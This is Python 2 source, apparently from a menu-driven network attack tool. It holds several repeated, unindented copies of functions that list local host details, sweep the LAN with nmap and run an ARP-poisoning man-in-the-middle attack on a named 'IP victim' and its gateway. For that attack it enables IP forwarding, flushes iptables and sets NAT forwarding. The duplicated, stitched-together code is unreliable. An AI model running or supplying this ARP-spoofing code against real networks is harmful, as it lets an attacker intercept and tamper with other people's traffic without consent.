def iandi():
d.run()
d.space()
print " IP Local : ", ping.myip()
ping.interfaces(1)
ping.get_gateway(1)
ping.my_mac_address(1)
ping.get_external_ip()
print " Username : "******" OS : ", commands.getoutput('uname')
print " Version : ", commands.getoutput('uname -r')
return 1
def iandi():
d.run()
d.space()
print " IP Local : ",ping.myip()
ping.interfaces(1)
ping.get_gateway(1)
ping.my_mac_address(1)
ping.get_external_ip()
print " Username : "******" OS : ",commands.getoutput('uname')
print " Version : ",commands.getoutput('uname -r')
return 1
def hostl(run):
global defaultnet,defaulttyp
try:
if run!=1:
actions=raw_input(d.prompt("net/lanlive"))
else:
actions="run"
if actions == "show options" or actions == "sop":
d.option()
d.descrip("nets","yes","Local area net",defaultnet)
#d.descrip("type","no","type scan",defaulttyp)
d.helpAUX()
if ping.conneted()!=False:
print " You IP : ",ping.myip()
else:
print d.noconnect()
#print " Type : {fast}{intense}"
d.space()
hostl(0)
elif actions[0:8] == "set nets":
defaultnet=ping.update(defaultnet,actions,"nets")
d.change("nets",defaultnet)
elif actions[0:8] == "set type":
defaulttyp=ping.update(defaulttyp,actions,"type")
d.change("type",defaulttyp)
elif actions=="exit" or actions=="x":
d.goodbye()
exit()
elif actions=="help" or actions=="h":
help.help()
elif actions=="back" or actions=="b":
return
elif actions=="run" or actions=="r":
d.run()
try:
d.space()
ping.lan_ips(1)
d.space()
except:
Errors.Errors(event=sys.exc_info(), info=False)
else:
d.No_actions()
except:
Errors.Errors(event=sys.exc_info()[0], info=False)
hostl(0)
def hostl(run):
global defaultnet,defaulttyp
try:
if run!=1:
actions=raw_input(d.prompt("net/lanlive"))
else:
actions="run"
if actions == "show options" or actions == "sop":
d.option()
d.descrip("nets","yes","Local area net",defaultnet)
#d.descrip("type","no","type scan",defaulttyp)
d.helpAUX()
if ping.conneted()!=False:
print " You IP : ",ping.myip()
else:
print d.noconnect()
#print " Type : {fast}{intense}"
d.space()
hostl(0)
elif actions[0:8] == "set nets":
defaultnet=ping.update(defaultnet,actions,"nets")
d.change("nets",defaultnet)
elif actions[0:8] == "set type":
defaulttyp=ping.update(defaulttyp,actions,"type")
d.change("type",defaulttyp)
elif actions=="exit" or actions=="x":
d.goodbye()
exit()
elif actions=="help" or actions=="h":
help.help()
elif actions=="back" or actions=="b":
return
elif actions[0:5]=="save:":
ping.SaveVariable(secuence=actions, matrix=IPs)
elif actions=="run" or actions=="r":
d.run()
try:
d.space()
commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null')
GateWay=ping.get_gateway(2)
tree = ET.parse('tmp/ips.xml')
root = tree.getroot()
IPf=0
counter=0
IP=""
for host in root.findall('host'):
for hosted in host.findall('address'):
if hosted.get('addrtype') == "ipv4":
IPf=hosted.get('addr')
else:
if GateWay == IPf :
IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0]
for HOST in IPs:
counter=counter+1
print " ["+str(counter)+"]"+HOST
d.space()
commands.getoutput('rm tmp/ips.xml > null')
except:
Errors.Errors(event=sys.exc_info(), info=False)
else:
d.No_actions()
except:
Errors.Errors(event=sys.exc_info(), info=False)
hostl(0)
def arpp(run):
try:
global defaultgat,defaultipv,defaultint
if run!=1:
actions=raw_input(d.prompt("net/arpspoof"))
else:
actions="run"
if actions == "show options" or actions == "sop":
d.option()
d.descrip("target","yes","IP victim",defaultipv)
d.descrip("gway","yes","Gateway-Router.",defaultgat)
d.descrip("iterce","yes","Interface",defaultint)
d.helpAUX()
if ping.conneted()!=False:
ping.interfaces(1)
ping.get_gateway(1)
ping.my_mac_address(1)
d.space()
if ping.conneted()!=False:
commands.getoutput(NMAP_PATH+' -sn '+str(ping.myip())+'/24 -oX tmp/ips.xml > null')
GateWay=ping.get_gateway(2)
tree = ET.parse('tmp/ips.xml')
root = tree.getroot()
IPf=0
counter=0
IP=""
for host in root.findall('host'):
for hosted in host.findall('address'):
if hosted.get('addrtype') == "ipv4":
IPf=hosted.get('addr')
else:
if GateWay == IPf :
IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0]
for HOST in IPs:
counter=counter+1
print " ["+str(counter)+"]"+HOST
d.space()
commands.getoutput('rm tmp/ips.xml > null')
else:
print d.noconnect()
print ""
arpp(0)
elif actions[0:10] == "set target":
defaultipv=ping.update(defaultipv,actions,"target")
d.change("target",defaultipv)
elif actions[0:8] == "set gway":
defaultgat=ping.update(defaultgat,actions,"gway")
d.change("gway",defaultgat)
elif actions[0:10] == "set iterce":
defaultint=ping.update(defaultint,actions,"iterce")
d.change("iterce",defaultint)
elif actions=="exit" or actions=="x":
d.goodbye()
exit()
elif actions=="help" or actions=="h":
help.help()
elif actions=="back" or actions=="b":
return
return
elif actions[0:5]=="save:":
ping.SaveVariable(secuence=actions, matrix=IPs)
elif actions=="run" or actions=="r":
d.run()
try:
My_Ip=ping.myip()
Tables="""
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """+defaultint+""" --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """+defaultint+""";
"""
print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t')
print " "+Alr+" Configuring IPtables NAT",ping.status_cmd(Tables,'\t\t\t\t')
print " "+Alr+" Starting ARP Poisoning..."
try:
z=multiprocessing.Process(target=Get_PoisoningTTG)
t=multiprocessing.Process(target=Get_PoisoningTGT)
t.start()
z.start()
NULL=raw_input(" "+Hlp+" Stop Attack ARP (PRESS ANY KEY)")
print " "+Alr+" Stopping ARP Poisoning...", ping.status_cmd('killall arpspoof','\t\t\t\t')
print " "+Alr+" Setting Normal configuration in forwarding",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t')
t.terminate()
z.terminate()
d.space()
arpp(0)
except:
Errors.Errors(event=sys.exc_info(), info=False)
except:
Errors.Errors(event=sys.exc_info(), info=False)
else:
d.No_actions()
except:
Errors.Errors(event=sys.exc_info(), info=False)
arpp(0)
def hostl(run):
global defaultnet,defaulttyp
try:
if run!=1:
actions=raw_input(d.prompt("net/lanlive"))
else:
actions="run"
if actions == "show options" or actions == "sop":
d.option()
d.descrip("nets","yes","Local area net",defaultnet)
#d.descrip("type","no","type scan",defaulttyp)
d.helpAUX()
if ping.conneted()!=False:
print " You IP : ",ping.myip()
else:
print d.noconnect()
#print " Type : {fast}{intense}"
d.space()
hostl(0)
elif actions[0:8] == "set nets":
defaultnet=ping.update(defaultnet,actions,"nets")
d.change("nets",defaultnet)
elif actions[0:8] == "set type":
defaulttyp=ping.update(defaulttyp,actions,"type")
d.change("type",defaulttyp)
elif actions=="exit" or actions=="x":
d.goodbye()
exit()
elif actions=="help" or actions=="h":
help.help()
elif actions=="back" or actions=="b":
return
elif actions[0:5]=="save:":
ping.SaveVariable(secuence=actions, matrix=IPs)
elif actions=="run" or actions=="r":
d.run()
try:
d.space()
commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null')
GateWay=ping.get_gateway(2)
tree = ET.parse('tmp/ips.xml')
root = tree.getroot()
IPf=0
counter=0
IP=""
for host in root.findall('host'):
for hosted in host.findall('address'):
if hosted.get('addrtype') == "ipv4":
IPf=hosted.get('addr')
else:
if GateWay == IPf :
IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0]
for HOST in IPs:
counter=counter+1
print " ["+str(counter)+"]"+HOST
d.space()
commands.getoutput('rm tmp/ips.xml > null')
except:
Errors.Errors(event=sys.exc_info(), info=False)
else:
d.No_actions()
except:
Errors.Errors(event=sys.exc_info(), info=False)
hostl(0)
def arpp(run):
try:
global defaultgat, defaultipv, defaultint
if run != 1:
actions = raw_input(d.prompt("net/arpspoof"))
else:
actions = "run"
if actions == "show options" or actions == "sop":
d.option()
d.descrip("target", "yes", "IP victim", defaultipv)
d.descrip("gway", "yes", "Gateway-Router.", defaultgat)
d.descrip("iterce", "yes", "Interface", defaultint)
d.helpAUX()
if ping.conneted() != False:
ping.interfaces(1)
ping.get_gateway(1)
ping.my_mac_address(1)
d.space()
if ping.conneted() != False:
commands.getoutput(NMAP_PATH + ' -sn ' + str(ping.myip()) +
'/24 -oX tmp/ips.xml > null')
GateWay = ping.get_gateway(2)
tree = ET.parse('tmp/ips.xml')
root = tree.getroot()
IPf = 0
counter = 0
IP = ""
for host in root.findall('host'):
for hosted in host.findall('address'):
if hosted.get('addrtype') == "ipv4":
IPf = hosted.get('addr')
else:
if GateWay == IPf:
IPf = colors[8] + colors[
4] + "{GW:" + IPf + "}" + colors[0]
IPs.append(" " + IPf + " " +
str(hosted.get('addr')) + " " +
str(hosted.get('vendor')))
print " " + colors[10] + colors[
7] + " # \t IP \t\t MAC \t\t VENDOR " + colors[
0]
for HOST in IPs:
counter = counter + 1
print " [" + str(counter) + "]" + HOST
d.space()
commands.getoutput('rm tmp/ips.xml > null')
else:
print d.noconnect()
print ""
arpp(0)
elif actions[0:10] == "set target":
defaultipv = ping.update(defaultipv, actions, "target")
d.change("target", defaultipv)
elif actions[0:8] == "set gway":
defaultgat = ping.update(defaultgat, actions, "gway")
d.change("gway", defaultgat)
elif actions[0:10] == "set iterce":
defaultint = ping.update(defaultint, actions, "iterce")
d.change("iterce", defaultint)
elif actions == "exit" or actions == "x":
d.goodbye()
exit()
elif actions == "help" or actions == "h":
help.help()
elif actions == "back" or actions == "b":
return
return
elif actions[0:5] == "save:":
ping.SaveVariable(secuence=actions, matrix=IPs)
elif actions == "run" or actions == "r":
d.run()
try:
My_Ip = ping.myip()
Tables = """
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """ + defaultint + """ --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """ + defaultint + """;
"""
print " " + Alr + " Ensure the victim recieves packets by forwarding them", ping.status_cmd(
'echo 1 > /proc/sys/net/ipv4/ip_forward', '\t')
print " " + Alr + " Configuring IPtables NAT", ping.status_cmd(
Tables, '\t\t\t\t')
print " " + Alr + " Starting ARP Poisoning..."
try:
z = multiprocessing.Process(target=Get_PoisoningTTG)
t = multiprocessing.Process(target=Get_PoisoningTGT)
t.start()
z.start()
NULL = raw_input(" " + Hlp +
" Stop Attack ARP (PRESS ANY KEY)")
print " " + Alr + " Stopping ARP Poisoning...", ping.status_cmd(
'killall arpspoof', '\t\t\t\t')
print " " + Alr + " Setting Normal configuration in forwarding", ping.status_cmd(
'echo 0 > /proc/sys/net/ipv4/ip_forward', '\t\t')
t.terminate()
z.terminate()
d.space()
arpp(0)
except:
Errors.Errors(event=sys.exc_info(), info=False)
except:
Errors.Errors(event=sys.exc_info(), info=False)
else:
d.No_actions()
except:
Errors.Errors(event=sys.exc_info(), info=False)
arpp(0)